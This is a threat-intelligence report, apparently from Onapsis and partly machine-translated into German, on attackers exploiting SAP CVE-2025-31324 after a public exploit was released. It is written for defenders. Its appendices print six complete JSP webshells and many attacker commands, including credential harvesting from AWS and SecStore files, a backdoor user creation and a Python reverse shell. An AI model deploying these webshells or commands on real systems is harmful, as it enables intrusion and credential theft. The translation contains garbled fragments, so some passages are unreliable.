Angreifer nutzen CVE-2025-31324 aus, nachdem ShinyHunters einen Exploit veröffentlicht hat

Wie im Blogbeitrag „Neuer Exploit für kritische SAP-Sicherheitslücke CVE-2025-31324 im Umlauf“ [1] beschrieben, kam es am 15. August 2025 zu einer bedeutenden Entwicklung in der SAP-Cybersicherheitslandschaft, als ein voll funktionsfähiger Exploit öffentlich veröffentlicht wurde. Dieser Exploit wurde angeblich von „Scattered LAPSUS$ Hunters – ShinyHunters“ in einer Telegram-Gruppe veröffentlicht und von der Gruppe VX Underground geteilt [2]. Fast sofort wurde er von verschiedenen Akteuren genutzt, was eine neue Welle von „schlüsselfertigen“ Exploits einläutete, die zuvor von den Angreifern kontrolliert wurden, die über das Wissen und die Fachkenntnisse verfügten, um CVE-2025-31324 [3] auszunutzen. 

Dieser Artikel beschreibt den zeitlichen Ablauf der Ereignisse nach der Veröffentlichung des funktionierenden Exploits als Python-Skript und beleuchtet dabei die Aktivitäten der Akteure, die nun mithilfe dieses neuen Exploits SAP-Anwendungen ins Visier nehmen. 

Die Sicherheitslücke verstehen 

Dieses veröffentlichte Skript ist ein Exploit für die kritische Java-Deserialisierungsschwachstelle CVE-2025-31324. Es ermöglicht einem nicht authentifizierten Angreifer, auf einem anfälligen Server Remote-Code-Ausführung (RCE) zu erreichen. Der Exploit funktioniert, indem eine speziell gestaltete ZIP-Datei an einen bestimmten Server-Endpunkt gesendet wird.

Das veröffentlichte Skript verfügt über zwei Hauptfunktionsmodi: die Ausführung eines einzelnen Befehls auf dem Zielserver oder das Hochladen einer persistenten Web-Shell für dauerhaften Zugriff.

So funktioniert der Exploit

Aufbau der Nutzlast

Der Kern des Exploits liegt in großen, fest codierten Base64-Zeichenfolgen. Nach der Dekodierung bilden diese Zeichenfolgen Teile eines serialisierten Java-Objekts. Bei diesem Objekt handelt es sich um eine „Gadget-Kette“, eine Abfolge legitimer Java-Klassen, die bei gemeinsamer Deserialisierung so manipuliert werden können, dass sie schädliche Aktionen ausführen (wie das Ausführen eines Befehls oder das Schreiben einer Datei).

Lieferung der Nutzlast:

  • Das schädliche serialisierte Objekt wird in eine Datei namens .properties geschrieben.
  • Diese .properties-Datei wird dann im Arbeitsspeicher in ein ZIP-Archiv komprimiert.
  • Das Skript sendet dieses ZIP-Archiv über eine HTTP-POST-Anfrage an den Endpunkt /developmentserver/metadatauploader an den Zielserver.

Ausbeutung:

  • Der SAP-Server empfängt die ZIP-Datei und versucht, den Inhalt der .properties-Datei zu deserialisieren.
  • Dieser Deserialisierungsvorgang löst die Kette bösartiger Gadgets aus, wodurch der Server die Anweisungen des Angreifers ausführt.

Exploit-Funktionalität

Befehlsausführung (–command) : 

In diesem Modus erstellt der Exploit eine Java-Objekt-Nutzlast, die bei der Deserialisierung den angegebenen Systembefehl (z. B. „whoami“, „id“) ausführt. Dies bietet eine direkte Möglichkeit, Befehle auszuführen, stellt jedoch keine Persistenz her.

Shell hochladen (–dropshell)

In this mode, the payload is designed to write a file to the server’s file system. The script uses a relative path to place a JSP web shell in a web-accessible directory in the SAP system. Once uploaded, this shell can be accessed through a browser, allowing the attacker to execute new commands at any time by sending HTTP requests to the deployed webshell’s URL (e.g., http://<target>/irj/shell.jsp?cmd=some_command).

Festgestellte Bedrohungsaktivitäten 

Nach der Veröffentlichung des Exploits am 15. August 2025 verzeichnete das Onapsis Global Threat Intelligence , ein weltweit verteiltes Netzwerk von Sensoren zur Erfassung threat intelligence, einen Anstieg erfolgreicher Angriffe unter Ausnutzung der Sicherheitslücke CVE-2025-31324. Diese Analyse umfasst den Zeitraum von der Veröffentlichung des Exploits bis zum 25. August 2025.

Die Angriffsquellen

Im Untersuchungszeitraum wurden mehrere IP-Adressen beobachtet, die von TOR-Ausgangsknoten aus auf SAP-Anwendungen abzielten, um die tatsächliche Quelle der Angriffe zu verschleiern. Es wurden etwa 60 eindeutige IP-Adressen identifiziert, die TOR-Ausgangsknoten zuzuordnen waren.

Diese IP-Adressen wurden anhand der von CrowdSec bereitgestellten Cyber Threat Intelligence als TOR-Ausgangsknoten identifiziert.

Neben diesen TOR-Ausgangsknoten wurden fast 15 weitere eindeutige IP-Adressen beobachtet, die keine TOR-Ausgangsknoten waren und dazu genutzt wurden, die Sicherheitslücke CVE-2025-31324 auszunutzen, eine Verbindung zu bereits installierten Webshells herzustellen oder eine Rückverbindung aufzubauen, um Dateien herunterzuladen oder Reverse-Shells zu erstellen. Die Hälfte dieser IP-Adressen gehörte zu Netzwerken, die von CrowdSec Intelligence [4] als bösartig identifiziert wurden.

Analyse der Angreiferaktivitäten

Wir werden die Aktivitäten auf den Zielsystemen analysieren, indem wir den kürzlich veröffentlichten Exploit für CVE-2025-31324 ausnutzen. Diese Analyse umfasst folgende Elemente: 

  • Eingesetzte Webshells: Analyse der verschiedenen eingesetzten Webshells. Dies kann Indikatoren für Kompromittierung (IoCs) liefern, um potenzielle Angriffe auf anfällige SAP-Anwendungen zu erkennen.
  • Ausgeführte Befehle: Bietet einen Überblick über die Befehle, die entweder über die installierten Webshells oder direkt über die RCE-Funktionalität des Exploits ausgeführt wurden.
  • Angreifergruppen: Analyse der verschiedenen Maßnahmen, die potenziell von einem Angreifer oder einer Gruppe von Angreifern durchgeführt werden.

Um den Mitarbeitern des Security Operations Center (SOC) die Nutzung und das Ergreifen von Maßnahmen zu erleichtern, wurden die identifizierten Bedrohungsaktivitäten sowohl dem MITRE ATT&CK®-Framework in„Anhang III: MITRE ATT&CK®“zugeordnet als auch als Indikatoren für eine Kompromittierung (IoCs) in„Anhang IV: Indikatoren für eine Kompromittierung“ detailliert beschrieben. Diese Zuordnung liefert SOC-Teams verwertbare Informationen, die es ihnen ermöglichen, die von den Angreifern eingesetzten Taktiken, Techniken und Verfahren (TTPs) zu verstehen und mithilfe der bereitgestellten IoCs proaktiv nach ähnlichen böswilligen Aktivitäten in ihren SAP-Umgebungen zu suchen und diese zu erkennen.

Eingesetzte Webshells

The publicly available exploit features a standard remote webshell that works on Windows-based systems as well as Linux-based systems. This default webshell is presented through the variable called “content” and receives a cmd GET parameter which is executed as the user <SID>adm.

Neben dieser Basis-Webshell beobachtete Onapsis, dass Angreifer mindestens fünf weitere maßgeschneiderte Webshells einsetzten, von denen einige ausgefeilter waren als die im Exploit standardmäßig verfügbare:

  • Standard Webshell: This is the default webshell provided by the public exploit. It’s straightforward, takes a cmd GET parameter, and executes it as the <SID>adm user. It works on both Windows and Linux systems.
  • Erste benutzerdefinierte Webshell: Diese Webshell zeichnet sich durch eine höhere Komplexität aus, da sie für die übertragenen Daten eine Verschlüsselung nach AES/ECB/PKCS5Padding verwendet. Außerdem lädt sie Klassen dynamisch, was ihre Erkennung und Analyse potenziell erschwert.
  • Zweite benutzerdefinierte Webshell: Diese Webshell erfordert zur Ausführung von Befehlen ein bestimmtes Passwort (Parameter „pass“). Dies deutet auf den Versuch hin, control auf die Webshell zu control und eine unbefugte Nutzung zu verhindern, möglicherweise durch andere Angreifer oder Sicherheitsforscher. Das Passwort scheint vor der Ausnutzung zufällig generiert zu werden.
  • Dritte benutzerdefinierte Webshell: In ihrer Grundfunktionalität (Ausführung von Befehlen über einen cmd-Parameter) ähnelt sie der Standard-Webshell, unterscheidet sich jedoch in ihrer Codestruktur.
  • Vierte benutzerdefinierte Webshell: Diese Webshell nutzt ein benutzerdefiniertes Verschlüsselungsschema mit einem fest codierten Schlüssel (xc). Außerdem verwendet sie ein Sitzungsattribut (session.getAttribute(„payload“)), um eine definierte Klasse zu speichern und wiederzuverwenden, was auf einen mehrstufigen Ansatz bei der Befehlsausführung hindeutet. Aufgrund dieses Designs ist die Analyse und Interaktion mit dieser Webshell komplexer als bei einfacheren Webshells.
  • Fifth Custom Webshell: This webshell initially prints “404”, potentially as a deception tactic to appear as a non-existent page. It then executes commands passed through the cmd parameter, but wraps the output in HTML comments (<!– and –>), which could be an attempt to hide its activity from casual inspection or basic logging.

Der Code aller identifizierten Webshells ist in„Anhang I: Eingesetzte Webshells“verfügbar

Ausgeführte Befehle

Im Rahmen ihrer Ausnutzung der Sicherheitslücke CVE-2025-31324 führten die Angreifer eine Vielzahl von Befehlen zur Erkundung, Informationsbeschaffung und zum Aufbau einer dauerhaften Präsenz aus. Diese Befehle ermöglichten es ihnen,

  • Führen Sie eine System- und Dateisystemerkundung durch (z. B. `whoami`, `ls`, `cat /etc/os-release`, `ls /usr/sap/*/JXX/`), 
  • Sammeln Sie sensible Informationen (z. B. mit „grep“ nach Passwörtern suchen, „cat ~/.bash_history“ ausführen, mit „curl“ den Befehlsverlauf abrufen) und 
  • Versuche, auf cloud zuzugreifen (cat ~ec2-user/.aws/credentials). 

Entscheidend war, dass sie es auf SAP-spezifische Passwortspeicher wie „SecStore.properties“ und „SecStore.key“ abgesehen hatten, um an wichtige Systemzugangsdaten zu gelangen. 

<sid>adm   28922     1  0  2023 ?        00:00:00 sapstart 
pf=/usr/sap/<SID>/SYS/profile/<SID>_JXX_sap-server
<sid>adm 28962 28922 0 2023 ? 00:00:14 _ /usr/sap/<SID>/JXX/work/jc.sap<SID>_JXX pf=/usr/sap/<SID>/SYS/profile/<SID>_JXX_sap-server
<sid>adm 29046 28962 0 2023 ? 06:58:48 | _ /usr/sap/<SID>/JXX/exe/icman -appTrc pf=/usr/sap/<SID>/SYS/profile/<SID>_JXX_sap-server -nodeId=1 -f /usr/sap/<SID>/J0
<sid>adm 10244 28962 0 2024 ? 1-12:34:57 | _ /usr/sap/<SID>/JXX/exe/jstart -appTrc -nodeId=2 pf=/usr/sap/<SID>/SYS/profile/<SID>_JXX_sap-server -DSAPINFO=<SID>_0
<sid>adm 19274 10244 0 Aug15 ? 00:00:02 | _ grep -r jdbc: /usr/sap/
<sid>adm 673 10244 0 Aug16 ? 00:00:00 | _ python -c import os,pty,socket;s=socket.socket();s.connect(("x.x.x.x",9001));os.dup2(s.fileno(),0);os
<sid>adm 674 673 0 Aug16 pts/0 00:00:00 | | _ /bin/bash
<sid>adm 1083 674 0 Aug16 pts/0 00:00:00 | | _ less
<sid>adm 1175 10244 0 Aug16 ? 00:00:00 | _ python -c import os,pty,socket;s=socket.socket();s.connect(("x.x.x.x",9001));os.dup2(s.fileno(),0);os
<sid>adm 1176 1175 0 Aug16 pts/2 00:00:00 | | _ /bin/bash
<sid>adm 8056 10244 0 Aug16 ? 01:16:57 | _ htop
<sid>adm 15377 10244 0 Aug16 ? 00:00:00 | _ sh

Prozessbaum mit Anzeige der Prozesse, die durch Ausnutzung der Sicherheitslücke CVE-2025-31324 gestartet wurden

Darüber hinaus sicherten sich die Angreifer einen dauerhaften Zugriff, indem sie Fernzugriffstools (RATs) wie Sakura einsetzten, was auf die klare Absicht hindeutet, langfristig Zugriff control die kompromittierten SAP-Anwendungen zu erhalten und control . Sakura wurde Anfang dieses Jahres [5] als fortschrittliches Fernverwaltungstool veröffentlicht, das darauf ausgelegt ist, im Verborgenen zu bleiben und von modernen EDR-Lösungen unentdeckt zu bleiben. Es bietet Funktionen wie verdecktes Surfen, verdecktes Virtual Network Computing sowie die Möglichkeit, Payloads im Arbeitsspeicher auszuführen. 

Eine ausführlichere Liste der ausgeführten Befehle finden Sie unter „Anhang II: Ausgeführte Befehle“

Angreifergruppen und Taktiken

Durch die Analyse der Ausnutzung, der Bereitstellung und der Verwendung von Dateien sowie der Ähnlichkeit der von den Angreifern durchgeführten Aktionen konnten neben den zusätzlichen einzelnen IP-Adressen oder kleineren Gruppen mindestens vier verschiedene Gruppen identifiziert werden:

Cluster Nr. 1

Diese Bedrohungsgruppe bzw. dieser Akteur nutzte 40 verschiedene IP-Adressen, um mit SAP-Anwendungen zu interagieren. Die Vorgehensweise dieser Gruppe war äußerst methodisch: Sie führte konsequent eine bestimmte Reihe von Befehlen aus, um den SAP Secure Store herunterzuladen. Diese gezielte Vorgehensweise ist ein klarer Hinweis auf ihre Absicht, gespeicherte Anmeldedaten zu erlangen und zu entschlüsseln, und zeugt von einem tiefgreifenden Verständnis der SAP-Systemarchitektur. Die Verwendung einer benutzerdefinierten Webshell durch den Akteur, für deren Nutzung ein festes Passwort erforderlich war, unterstreicht zudem dessen Raffinesse und Engagement bei dem Angriff. Dieser Ansatz zeigt, dass er sich nicht auf generische Exploits verließ, sondern eigene Tools entwickelt hatte, um sich einen sicheren Zugriff zu sichern und sein spezifisches Ziel zu erreichen.

Diese Gruppe führte diese Befehlsfolge auf verschiedenen Zielsystemen durch:

env
cat /usr/sap/<SID>/SYS/global/security/data/SecStore.properties
cat /usr/sap/<SID>/SYS/global/security/data/SecStore.key

Cluster Nr. 2 

Diese Bedrohungsgruppe bzw. dieser Akteur nutzte sieben verschiedene IP-Adressen für die Interaktion mit SAP-Anwendungen. Dieser Akteur wies unter den beobachteten Gruppen die fortschrittlichsten und gefährlichsten Fähigkeiten auf. Seine Aktivitäten waren äußerst ausgefeilt und konzentrierten sich auf das wiederholte Herunterladen und Ausführen der Malware „Sakura“. Zusätzlich zur Verwendung von Webshells zur Befehlsausführung umging der Akteur diesen zweistufigen Ansatz, indem er direkte Remote-Code-Ausführung (RCE) ohne vorherigen Shell-Upload durchführte. Dieser Akteur zeigte zudem eine klare Absicht zur langfristigen Persistenz, indem er mehrere Reverse-Shell-Verbindungen zu zwei verschiedenencontrol C2) herstellte. Diese Kombination aus fortschrittlichen Tools, direkter Ausnutzung und persistenten Zugriffsmethoden zeichnet diesen Akteur als bedeutende und äußerst fähige Bedrohung aus.

Cluster Nr. 3 

Diese Bedrohungsgruppe bzw. dieser Akteur nutzte 26 verschiedene IP-Adressen, um mit SAP-Anwendungen zu interagieren. Nach dem Hochladen mehrerer Webshells führte dieser Akteur eine Reihe von Überprüfungen durch, um sicherzustellen, dass die Dateien erfolgreich bereitgestellt wurden. Das Ausbleiben unmittelbarer böswilliger Aktivitäten über diese Shells deutet auf eine mögliche zukünftige Nutzung hin, was auf eine Strategie hindeutet, langfristige Persistenz zu etablieren oder anderen Bedrohungsgruppen Zugang zu verschaffen.

Cluster Nr. 4 

Diese Bedrohungsgruppe bzw. dieser Akteur nutzte fünf verschiedene IP-Adressen, um mit SAP-Anwendungen zu interagieren. Nach dem Zugriff auf das System führte dieser Akteur umfangreiche Erkundungsmaßnahmen durch. Er zielte gezielt auf SAP-Pfade ab und durchsuchte diese nach cloud (AWS-Zugangsdaten), suchte zudem im gesamten Betriebssystem nach Zugangsdaten im Klartext, überprüfte bestimmte Werte in SAP-Profilen und suchte in verschiedenen Konfigurationsdateien nach Schlüsselwörtern. Diese Gruppe zeigte zudem ein fundiertes Verständnis der SAP-Infrastruktur und -Technologie.

Auswirkungen für SAP-Kunden

Die fundierten Kenntnisse der Angreifer über SAP

Man kann davon ausgehen, dass es sich bei den Angreifern, die derzeit die Sicherheitslücke CVE-2025-31324 ausnutzen, nicht um dieselben Akteure handelt, die den ursprünglichen Exploit entwickelt haben – diese hatten nämlich durch das Aufspüren der Sicherheitslücke und die Entwicklung des Exploits bewiesen, dass sie über fundierte Kenntnisse der SAP-Technologie verfügen. 

Was diese höchstwahrscheinlich unterschiedlichen Akteure betrifft, so deuten zwar einige der beobachteten Aktivitäten auf ein allgemeines Verständnis von Linux-Umgebungen hin, doch zeigten bestimmte Angreifer dennoch fortgeschrittene Kenntnisse der SAP-Anwendungen selbst. Dies zeigte sich daran, dass sie gezielt kritische SAP-Dateien wie „SecStore.properties“ und „SecStore.key“ ins Visier nahmen, um Anmeldedaten zu extrahieren, sowie an ihrer Fähigkeit, sich in den SAP-spezifischen Verzeichnisstrukturen auf den SAP-Anwendungsservern zurechtzufinden. Dieses Maß an Verständnis und Präzision deutet darauf hin, dass diese Akteure über Kenntnisse verfügen, die über die allgemeine Ausnutzung von Systemschwachstellen hinausgehen, was die Möglichkeit nahelegt, dass sie bereits zuvor über Kenntnisse der internen Architektur von SAP und der Speicherorte sensibler Daten verfügten.

Der Trend bei ausgenutzten SAP-Sicherheitslücken

Onapsis hat bereits zuvor darauf hingewiesen, dass SAP-Sicherheitslücken, darunter auch solche, die als „Zero-Day-Lücken“ bezeichnet werden, häufig ins Visier genommen werden [6]. Die anhaltende Ausnutzung von CVE-2025-31324 unterstreicht diesen Trend noch weiter. Die Tatsache, dass diese Schwachstelle am 20. August 2025 in den Katalog der bekannten ausgenutzten Schwachstellen (KEV) der CISA [7] aufgenommen wurde, verdeutlicht ihre kritische Bedeutung und bestätigt, dass sie aktiv in der Praxis ausgenutzt wird.

Diese KEV-Kennzeichnung in Verbindung mit der beobachteten Zunahme von Angriffsversuchen durch verschiedene Angreifer nach der Veröffentlichung eines Exploits deutet eindeutig darauf hin, dass Angreifer kontinuierlich nach Schwachstellen in SAP-Anwendungen suchen und diese ausnutzen. Dieses proaktive Vorgehen böswilliger Akteure erfordert eine robuste und kontinuierliche Verteidigungsstrategie für SAP-Kunden, um die erheblichen Risiken abzuschwächen, die von diesen anhaltenden Bedrohungen ausgehen.

Auswirkungen auf das Geschäft

Onapsis stellte fest, dass Angreifer SAP-Anwendungen ins Visier nahmen, eine dauerhafte Präsenz aufbauten und sensible SAP-Informationen nutzten, um sich möglicherweise lateral zu bewegen. Unter anderem wurden Indikatoren entdeckt, die auf den Einsatz von Access Brokern hindeuten. In allen Fällen gelang es den Angreifern, einen solchen Grad der Kompromittierung zu erreichen, dass SAP-Anwendungen und alle darin enthaltenen Daten offengelegt wurden.

Falls Ihr Unternehmen SAP-Anwendungen einsetzt, die möglicherweise noch anfällig sind, lesen Sie bitte den Abschnitt „Nächste Schritte“ durch, um Ihre SAP-Umgebung vor diesen Angriffen zu schützen. Beachten Sie außerdem die Anzeichen für eine Kompromittierung, um mit der Überprüfung auf mögliche Eindringversuche zu beginnen.

Unmittelbare nächste Schritte für Verteidiger

Patching:

 Stellen Sie sicher, dass die Patches in allen SAP-Anwendungen auf dem neuesten Stand sind. Dies ist besonders wichtig bei Anwendungen mit Internetanbindung. Durch die Integration von SAP-Anwendungen in Ihre bestehenden Schwachstellenmanagement-Programme können neue und bestehende Schwachstellen zeitnaher behoben werden. Als unmittelbaren nächsten Schritt sollten Sie sicherstellen, dass die folgenden SAP-Sicherheitshinweise angewendet werden, um die Schwachstellen zu beheben:

  • 3594142 (für CVE-2025-31324)
  • 3604119 (für CVE-2025-42999)
  • 3578900 (für CVE-2025-30012)
  • 3620498 (für CVE-2025-42980)
  • 3610892 (für CVE-2025-42966)
  • 3621771 (für CVE-2025-42963)
  • 3621236 (für CVE-2025-42964)

Forensik / Incident Response: 

Überprüfen Sie SAP-Anwendungen auf Hinweise auf mögliche Webshells, wie in SAP-Hinweis 3593336 (Unbekannte Dateien im Dateisystem von SAP NetWeaver Java gefunden) [8] beschrieben. Onapsis hat in Zusammenarbeit mit Mandiant Open-Source-Tools auf GitHub [9] veröffentlicht, mit denen assess potenziell kompromittierte SAP-Anwendung assess . 

Überprüfen und Zugriff einschränken: 

Beschränken Sie den Zugriff auf SAP-Anwendungen, insbesondere über das Internet. Führen Sie eine Netzwerksegmentierung und strenge Zugriffskontrollen ein, um das Risiko zu minimieren.

SAP-Anwendungen auf Sicherheitsverletzungen überwachen: 

Überwachen Sie Ihre SAP-Umgebung kontinuierlich auf Anzeichen für eine Kompromittierung (IoCs), wie z. B. unerwartete Datei-Uploads, ungewöhnliche Prozessausführungen (z. B. whoami, ls, wget, curl, tftp), verdächtige Netzwerkverbindungen zu von Angreifern kontrollierten IP-Adressen oder Versuche, auf sensible SAP-Konfigurationsdateien zuzugreifen (/usr/sap/*/SYS/global/security/rsecssfs, SecStore.properties, SecStore.key).

Wenn Sie weitere Einblicke in die Auswirkungen dieser Zero-Day-Schwachstellen und CVEs auf Unternehmen gewinnen möchten, melden Sie sich für die Podiumsdiskussion „The SAP Zero-Day Wake-Up Call: What CISOs and CIOs Need to Know“ [10] an, an der am 10. September um 10:00 Uhr EDT Sicherheitsverantwortliche von Mandiant (Teil von Google Cloud), EclecticIQ, NightDragon und Onapsis teilnehmen.

Literaturverzeichnis

[1]https://onapsis.com/blog/new-exploit-for-cve-2025-31324/ 
[2]https://vx-underground.org/tmp
[3]https://nvd.nist.gov/vuln/detail/CVE-2025-31324
[4]https://doc.crowdsec.net/u/cti_api/intro/ 
[5]https://gbhackers.com/sakura-rat-released-on-github/
[6] – https://onapsis.com/resources/reports/active-cyberattacks-mission-critical-sap-applications/ 
[7]https://www.cisa.gov/known-exploited-vulnerabilities-catalog
[8]https://me.sap.com/notes/3593336/E 
[9] – GitHub – Onapsis/Onapsis-Mandiant-CVE-2025-31324-Vuln-Compromise-Assessment: Tool zur Bewertung von Schwachstellen und Kompromittierungen für CVE-2025-31324 und CVE-2025-42999
[10] – https://onapsis.com/event/zero-day/ 

Anhang I: Eingesetzte Webshells

Es wurde beobachtet, dass die folgenden Webshells nach der Ausnutzung der Sicherheitslücke CVE-2025-31324 in den betroffenen SAP-Anwendungen eingesetzt wurden:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
String[] cmdArray;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmdArray = new String[] {"cmd.exe", "/c", request.getParameter("cmd")};
} else {
cmdArray = new String[] {"/bin/sh", "-c", request.getParameter("cmd")};
}

Process process = Runtime.getRuntime().exec(cmdArray);

// Read the output
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
out.println("<pre>");
while ((line = reader.readLine()) != null) {
out.println(line);
}

// Read errors too (JDK6 doesn't have redirectErrorStream in ProcessBuilder)
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
while ((line = errorReader.readLine()) != null) {
out.println(line);
}
out.println("</pre>");
}
%>

Standard-Webshell, die durch den veröffentlichten Exploit bereitgestellt wird

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
String k="<REDACTED>";
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

}
return c.doFinal(decodebs);

}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>%

Erste benutzerdefinierte Webshell im Zusammenhang mit CVE-2025-31324 entdeckt

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("pass").equals("<REDACTED>") && request.getParameter("cmd") != null) {
String[] cmdArray;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmdArray = new String[] {"cmd.exe", "/c", request.getParameter("cmd")};
} else {
cmdArray = new String[] {"/bin/sh", "-c", request.getParameter("cmd")};
}

Process process = Runtime.getRuntime().exec(cmdArray);

// Read the output
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
out.println("<pre>");
while ((line = reader.readLine()) != null) {
out.println(line);
}

// Read errors too (JDK6 doesn't have redirectErrorStream in ProcessBuilder)
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
while ((line = errorReader.readLine()) != null) {
out.println(line);
}
out.println("</pre>");
}
%>%

Zweite benutzerdefinierte Webshell im Zusammenhang mit CVE-2025-31324 entdeckt

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
String[] cmdArray;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmdArray = new String[] {"cmd.exe", "/c", request.getParameter("cmd")};
} else {
cmdArray = new String[] {"/bin/sh", "-c", request.getParameter("cmd")};
}

Process process = Runtime.getRuntime().exec(cmdArray);

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
out.println("<pre>");
while ((line = reader.readLine()) != null) {
out.println(line);
}

BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
while ((line = errorReader.readLine()) != null) {
out.println(line);
}
out.println("</pre>");
}
%>

Dritte benutzerdefinierte Webshell im Zusammenhang mit CVE-2025-31324 entdeckt

<%! String xc="<REDACTED>"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>%

Vierte benutzerdefinierte Webshell im Zusammenhang mit CVE-2025-31324 entdeckt

<%@ page import="java.util.*,java.io.*"%>
<%
out.println("404");
if (request.getParameter("cmd") != null) {
String[] cmdArray;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmdArray = new String[] {"cmd.exe", "/c", request.getParameter("cmd")};
} else {
cmdArray = new String[] {"/bin/sh", "-c", request.getParameter("cmd")};
}

Process process = Runtime.getRuntime().exec(cmdArray);

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
out.println("<!--");
while ((line = reader.readLine()) != null) {
out.println(line);
}

BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
while ((line = errorReader.readLine()) != null) {
out.println(line);
}
out.println("-->");
}

Fünfte benutzerdefinierte Webshell im Zusammenhang mit CVE-2025-31324 entdeckt

Anhang II: Ausgeführte Befehle

Entweder direkt oder über Webshells wurden auf den betroffenen SAP-Anwendungen verschiedene Befehle auf Betriebssystemebene zu unterschiedlichen Zwecken ausgeführt:

ZweckBefehleBeschreibung
Systemerkennungcat /etc/hosts
cat /etc/os-release
ls
env
whoami
tftp
scp
wget
Erkundung des Systems, der Version und der verfügbaren Tools (z. B. scp, tftp, sh, wget, ftpget)
Erkennung von Dateisystemencat /usr/sap/*/SYS/profile/*
ls /usr/sap/<SID>/JXX/
ls /usr /tmp /root
ls /etc
Ermittlung allgemeiner sowie SAP-spezifischer Ressourcen.
Erhebung sensibler Datengrep -riE ‘password|passwd|secret|key|credential’ /etc /opt /home 2>/dev/null
cat /home/*/.bash_history
curl -G –data-urlencode “cmd=$(history | tail -1 | cut -d’ ‘ -f4-)” https://<sapserver>
grep -E ‘wheel|sudo’ /etc/group
Versuch, den letzten Befehl im Verlauf zu extrahieren. Durchsuchen der bash_history. Suche nach sensiblen Inhalten in Standardverzeichnissen. Durchsuchen von Benutzern mit hohen Berechtigungen
Erfassung sensibler Cloudcat ~ec2-user/.aws/credentials
cat ~ec2-user/.aws/config
find / -name ‘credentials’ 2> /dev/null | grep -i aws
env | grep -i ‘aws|access|secret’
Versuche, sensible cloud zu ermitteln, um eine laterale Bewegung durchzuführen.
SAP-Systemzugangsdaten erfassengrep -ri ‘jdbc:’ /usr/sap 2> /dev/null
grep -ri ‘password’ /usr/sap/*/SYS/profile 2>/dev/null
find /usr/sap -name ‘*.ini’ -exec grep -i ‘password’ {} 2>/dev/null
ls /usr/sap/<SID>/SYS/global/security/rsecssfs/key
ls /usr/sap/<SID>/SYS/global/security/rsecssfs/data
grep -ri ‘smtp.*password’ /etc /opt /usr/sap 2>/dev/null
Lists content of /usr/sap/<SID>/SYS/global/securityLists /usr/sap/<SID>/JXX/global/security/rsecssfs  key and data.Searches for “”jdbc:”” inside /usr/sap (looking for plaintext credentials or information)Looks for ‘smtp.password’ in /etc /opt /usr/sap 
Zugriff auf SAP-Passwortspeichercat /usr/sap/<SID>/SYS/global/security/data/SecStore.properties
cat /usr/sap/<SID>/SYS/global/security/data/SecStore.key
cat /usr/sap/*/SYS/global/security/data/secstore
Die Dateien „SecStore.properties“ und „SecStore.key“ wurden angezeigt
Persistenz herstellenuseradd -m -s /bin/bash backdooruserVersuche, einen „Backdoor“-Benutzer anzulegen
Prüft die Geschwindigkeit der Internetverbindungyum install speedtest
curl -s https://packagecloud.io/install/repositories/ookla/speedtest-cli/script.rpm.sh | bash
apt install speedtest-cli -y
wget -O /dev/null https://speed.hetzner.de/1GB.bin –no-check-certificate
Es wurde versucht, die Installation über verschiedene Mechanismen sowie über Speedtest-Clients durchzuführen
Umgekehrte Verbindungpython -c ‘import os,pty,socket;s=socket.socket();s.connect(„x.x.x.x“,9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(„/bin/bash”)’
